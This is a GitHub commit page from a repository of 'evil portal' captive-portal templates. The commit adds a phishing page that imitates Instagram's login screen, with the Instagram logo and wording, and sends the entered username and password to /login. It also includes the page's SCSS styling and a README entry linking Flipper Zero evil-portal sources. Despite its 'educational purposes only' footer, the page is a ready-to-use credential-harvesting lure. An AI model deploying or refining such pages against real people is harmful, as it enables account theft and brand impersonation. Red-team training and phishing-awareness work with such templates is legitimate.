Skip to content

Commit

Permalink
Add Instagram template.
Browse files Browse the repository at this point in the history
  • Loading branch information
@CodyTolene
CodyTolene committed Nov 28, 2024
1 parent dd2d306 commit 0c14eb8
Show file tree
Hide file tree
Showing 4 changed files with 189 additions and 1 deletion.
6 changes: 5 additions & 1 deletion README.md
View file
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,7 @@
| Discord | [portals/discord/index.html][url-portal-discord] | 6.48 KB | [@JMcrafter26][url-jmcrafter26] - [link][url-jmcrafter26-discord] |
| Facebook | [portals/facebook/index.html][url-portal-facebook] | 2.65 KB | [@roshanravan][url-roshanravan] - [link][url-roshanravan-facebook] |
| Google | [portals/google/index.html][url-portal-google] | 5.28 KB | [@breaching][url-breaching] - [link][url-breaching-google] |
| Instagram | To do... | | |
| Instagram | [portals/instagram/index.html][url-portal-instagram] | 4.01 KB | [@JMcrafter26][url-jmcrafter26] - [link][url-jmcrafter26-instagram] |
| Microsoft | To do... | | |
| Microsoft 365 | To do... | | |
| Southwest Airline | [portals/southwest-airline/index.html][url-portal-southwest-airline] | 3.72 KB | [@bigbrodude6119][url-bigbrodude6119] - [link][url-bigbrodude6119-southwest-airline] |
Expand Down Expand Up @@ -254,6 +254,8 @@ Cody Tolene
https://raw.githack.com/CodyTolene/Red-Portals/main/portals/facebook/index.html
[url-portal-google]:
https://raw.githack.com/CodyTolene/Red-Portals/main/portals/google/index.html
[url-portal-instagram]:
https://raw.githack.com/CodyTolene/Red-Portals/main/portals/instagram/index.html
[url-portal-southwest-airline]:
https://raw.githack.com/CodyTolene/Red-Portals/main/portals/southwest-airline/index.html

Expand All @@ -269,6 +271,8 @@ Cody Tolene
[url-breaching]: https://github.com/breaching
[url-jmcrafter26-discord]:
https://github.com/bigbrodude6119/flipper-zero-evil-portal/blob/663975b441bc5ace4d47457d8826a4a181701fd2/portals/Discord.html#L1
[url-jmcrafter26-instagram]:
https://github.com/bigbrodude6119/flipper-zero-evil-portal/blob/663975b441bc5ace4d47457d8826a4a181701fd2/portals/instagram_realistic.html#L1
[url-jmcrafter26]: https://github.com/JMcrafter26
[url-jules0835-apple]:
https://github.com/bigbrodude6119/flipper-zero-evil-portal/commit/b5adc38657ac7c7429c576afc261c4642fd55e09#diff-60c8686fd67fcb8612617383e99aa380eee28a17d3c0c8bcf54621e3884b4615
Expand Down
1 change: 1 addition & 0 deletions portals/instagram/index.html
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<!doctype html><html lang="en"><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login • Instagram</title><style>body{align-items:center;background-color:#f2f4f7;color:#111;display:flex;flex-direction:column;font-family:sans-serif;font-size:14px;height:100vh;justify-content:center;margin:0;padding:0}header{align-items:center;display:flex;flex-direction:row;justify-content:center}header svg:last-of-type{align-self:flex-end}main{background-color:#fff;border-radius:.5rem;padding:1rem;width:320px;box-shadow:0 2px 4px rgba(0,0,0,.1),0 8px 16px rgba(0,0,0,.1);width:400px}@media(max-width:768px){main{box-sizing:border-box;box-shadow:none;height:100%;width:100%}}main>section h2{text-align:center;font-weight:600;margin:1rem 0}main>section form{margin-top:1rem}main>section form input{border-radius:4px;border:1px solid #ccc;box-sizing:border-box;font-size:1rem;margin-bottom:1rem;padding:.65rem;width:100%}main>section form button{background:#0095f6;border-radius:.5rem;border:none;color:#fff;cursor:pointer;font-size:1rem;font-weight:600;padding:.75rem 1rem;width:100%}main>section form button:hover{background:#166fe5}main>section form a{display:block;color:#304cb2;text-decoration:none;margin:1rem auto;font-size:.75rem;text-align:center}footer{bottom:0;color:#111;font-size:.75rem;padding:.5rem 0;position:absolute;text-align:center;width:100%}footer p{margin:0}</style><main><header><svg height="124" role="img" viewBox="0 0 24 24" width="124" xmlns="http://www.w3.org/2000/svg"><title>Instagram</title><path fill="#F56B5B" d="M7.0301.084c-1.2768.0602-2.1487.264-2.911.5634-.7888.3075-1.4575.72-2.1228 1.3877-.6652.6677-1.075 1.3368-1.3802 2.127-.2954.7638-.4956 1.6365-.552 2.914-.0564 1.2775-.0689 1.6882-.0626 4.947.0062 3.2586.0206 3.6671.0825 4.9473.061 1.2765.264 2.1482.5635 2.9107.308.7889.72 1.4573 1.388 2.1228.6679.6655 1.3365 1.0743 2.1285 1.38.7632.295 1.6361.4961 2.9134.552 1.2773.056 1.6884.069 4.9462.0627 3.2578-.0062 3.668-.0207 4.9478-.0814 1.28-.0607 2.147-.2652 2.9098-.5633.7889-.3086 1.4578-.72 2.1228-1.3881.665-.6682 1.0745-1.3378 1.3795-2.1284.2957-.7632.4966-1.636.552-2.9124.056-1.2809.0692-1.6898.063-4.948-.0063-3.2583-.021-3.6668-.0817-4.9465-.0607-1.2797-.264-2.1487-.5633-2.9117-.3084-.7889-.72-1.4568-1.3876-2.1228C21.2982 1.33 20.628.9208 19.8378.6165 19.074.321 18.2017.1197 16.9244.0645 15.6471.0093 15.236-.005 11.977.0014 8.718.0076 8.31.0215 7.0301.0839m.1402 21.6932c-1.17-.0509-1.8053-.2453-2.2287-.408-.5606-.216-.96-.4771-1.3819-.895-.422-.4178-.6811-.8186-.9-1.378-.1644-.4234-.3624-1.058-.4171-2.228-.0595-1.2645-.072-1.6442-.079-4.848-.007-3.2037.0053-3.583.0607-4.848.05-1.169.2456-1.805.408-2.2282.216-.5613.4762-.96.895-1.3816.4188-.4217.8184-.6814 1.3783-.9003.423-.1651 1.0575-.3614 2.227-.4171 1.2655-.06 1.6447-.072 4.848-.079 3.2033-.007 3.5835.005 4.8495.0608 1.169.0508 1.8053.2445 2.228.408.5608.216.96.4754 1.3816.895.4217.4194.6816.8176.9005 1.3787.1653.4217.3617 1.056.4169 2.2263.0602 1.2655.0739 1.645.0796 4.848.0058 3.203-.0055 3.5834-.061 4.848-.051 1.17-.245 1.8055-.408 2.2294-.216.5604-.4763.96-.8954 1.3814-.419.4215-.8181.6811-1.3783.9-.4224.1649-1.0577.3617-2.2262.4174-1.2656.0595-1.6448.072-4.8493.079-3.2045.007-3.5825-.006-4.848-.0608M16.953 5.5864A1.44 1.44 0 1 0 18.39 4.144a1.44 1.44 0 0 0-1.437 1.4424M5.8385 12.012c.0067 3.4032 2.7706 6.1557 6.173 6.1493 3.4026-.0065 6.157-2.7701 6.1506-6.1733-.0065-3.4032-2.771-6.1565-6.174-6.1498-3.403.0067-6.156 2.771-6.1496 6.1738M8 12.0077a4 4 0 1 1 4.008 3.9921A3.9996 3.9996 0 0 1 8 12.0077"/></svg></header><section><h2>Log into Instagram</h2><form action="/login" method="GET"><input id="username" name="username" placeholder="Phone number, username, or email" required type="text"> <input id="password" name="password" placeholder="Password" required type="password"> <button aria-label="Continue to login" type="submit" value="Login">Log In</button> <a href>Forgot password?</a></form></section></main><footer><p>This is a simulated template for educational purposes only. Not affiliated with or endorsed by any brand.</footer>
67 changes: 67 additions & 0 deletions src/instagram.html
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta
name="viewport"
content="width=device-width, initial-scale=1.0"
/>
<title>Login • Instagram</title>
</head>
<body>
<main>
<header>
<svg
height="124"
role="img"
viewBox="0 0 24 24"
width="124"
xmlns="http://www.w3.org/2000/svg"
>
<!-- https://simpleicons.org/?q=instagram -->
<title>Instagram</title>
<path
fill="#F56B5B"
d="M7.0301.084c-1.2768.0602-2.1487.264-2.911.5634-.7888.3075-1.4575.72-2.1228 1.3877-.6652.6677-1.075 1.3368-1.3802 2.127-.2954.7638-.4956 1.6365-.552 2.914-.0564 1.2775-.0689 1.6882-.0626 4.947.0062 3.2586.0206 3.6671.0825 4.9473.061 1.2765.264 2.1482.5635 2.9107.308.7889.72 1.4573 1.388 2.1228.6679.6655 1.3365 1.0743 2.1285 1.38.7632.295 1.6361.4961 2.9134.552 1.2773.056 1.6884.069 4.9462.0627 3.2578-.0062 3.668-.0207 4.9478-.0814 1.28-.0607 2.147-.2652 2.9098-.5633.7889-.3086 1.4578-.72 2.1228-1.3881.665-.6682 1.0745-1.3378 1.3795-2.1284.2957-.7632.4966-1.636.552-2.9124.056-1.2809.0692-1.6898.063-4.948-.0063-3.2583-.021-3.6668-.0817-4.9465-.0607-1.2797-.264-2.1487-.5633-2.9117-.3084-.7889-.72-1.4568-1.3876-2.1228C21.2982 1.33 20.628.9208 19.8378.6165 19.074.321 18.2017.1197 16.9244.0645 15.6471.0093 15.236-.005 11.977.0014 8.718.0076 8.31.0215 7.0301.0839m.1402 21.6932c-1.17-.0509-1.8053-.2453-2.2287-.408-.5606-.216-.96-.4771-1.3819-.895-.422-.4178-.6811-.8186-.9-1.378-.1644-.4234-.3624-1.058-.4171-2.228-.0595-1.2645-.072-1.6442-.079-4.848-.007-3.2037.0053-3.583.0607-4.848.05-1.169.2456-1.805.408-2.2282.216-.5613.4762-.96.895-1.3816.4188-.4217.8184-.6814 1.3783-.9003.423-.1651 1.0575-.3614 2.227-.4171 1.2655-.06 1.6447-.072 4.848-.079 3.2033-.007 3.5835.005 4.8495.0608 1.169.0508 1.8053.2445 2.228.408.5608.216.96.4754 1.3816.895.4217.4194.6816.8176.9005 1.3787.1653.4217.3617 1.056.4169 2.2263.0602 1.2655.0739 1.645.0796 4.848.0058 3.203-.0055 3.5834-.061 4.848-.051 1.17-.245 1.8055-.408 2.2294-.216.5604-.4763.96-.8954 1.3814-.419.4215-.8181.6811-1.3783.9-.4224.1649-1.0577.3617-2.2262.4174-1.2656.0595-1.6448.072-4.8493.079-3.2045.007-3.5825-.006-4.848-.0608M16.953 5.5864A1.44 1.44 0 1 0 18.39 4.144a1.44 1.44 0 0 0-1.437 1.4424M5.8385 12.012c.0067 3.4032 2.7706 6.1557 6.173 6.1493 3.4026-.0065 6.157-2.7701 6.1506-6.1733-.0065-3.4032-2.771-6.1565-6.174-6.1498-3.403.0067-6.156 2.771-6.1496 6.1738M8 12.0077a4 4 0 1 1 4.008 3.9921A3.9996 3.9996 0 0 1 8 12.0077"
/>
</svg>
</header>
<section>
<h2>Log into Instagram</h2>
<form
action="/login"
method="GET"
>
<input
id="username"
name="username"
placeholder="Phone number, username, or email"
required
type="text"
/>
<input
id="password"
name="password"
placeholder="Password"
required
type="password"
/>
<button
aria-label="Continue to login"
type="submit"
value="Login"
>
Log In
</button>
<a href>Forgot password?</a>
</form>
</section>
</main>
<footer>
<p>
This is a simulated template for educational purposes only. Not
affiliated with or endorsed by any brand.
</p>
</footer>
</body>
</html>
116 changes: 116 additions & 0 deletions src/instagram.scss
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
// Colors
$color-background: #f2f4f7;
$color-black-light: #111111;
$color-blue-background: #0095f6;
$color-blue-hover: #166fe5;
$color-blue: #304cb2;
$color-gray-light: #cccccc;
$color-gray: #999999;
$color-shadow: rgba(0, 0, 0, 0.1);
$color-white: #ffffff;

body {
align-items: center;
background-color: $color-background;
color: $color-black-light;
display: flex;
flex-direction: column;
font-family: sans-serif;
font-size: 14px;
height: 100vh;
justify-content: center;
margin: 0;
padding: 0;
}

header {
align-items: center;
display: flex;
flex-direction: row;
justify-content: center;

svg {
&:last-of-type {
align-self: flex-end;
}
}
}

main {
background-color: $color-white;
border-radius: 0.5rem;
padding: 1rem;
width: 320px;
box-shadow:
0px 2px 4px $color-shadow,
0px 8px 16px $color-shadow;
width: 400px;

@media (max-width: 768px) {
box-sizing: border-box;
box-shadow: none;
height: 100%;
width: 100%;
}

> section {
h2 {
text-align: center;
font-weight: 600;
margin: 1rem 0;
}

form {
margin-top: 1rem;

input {
border-radius: 4px;
border: 1px solid $color-gray-light;
box-sizing: border-box;
font-size: 1rem;
margin-bottom: 1rem;
padding: 0.65rem;
width: 100%;
}

button {
background: $color-blue-background;
border-radius: 0.5rem;
border: none;
color: $color-white;
cursor: pointer;
font-size: 1rem;
font-weight: 600;
padding: 0.75rem 1rem;
width: 100%;

&:hover {
background: $color-blue-hover;
}
}

a {
display: block;
color: $color-blue;
text-decoration: none;
margin: 1rem auto;
font-size: 0.75rem;
text-align: center;
}
}
}
}

footer {
bottom: 0;
color: $color-black-light;
font-size: 0.75rem;
padding: 0.5rem 0;
position: absolute;
text-align: center;
width: 100%;

p {
margin: 0;
}
}

0 comments on commit 0c14eb8

Please sign in to comment.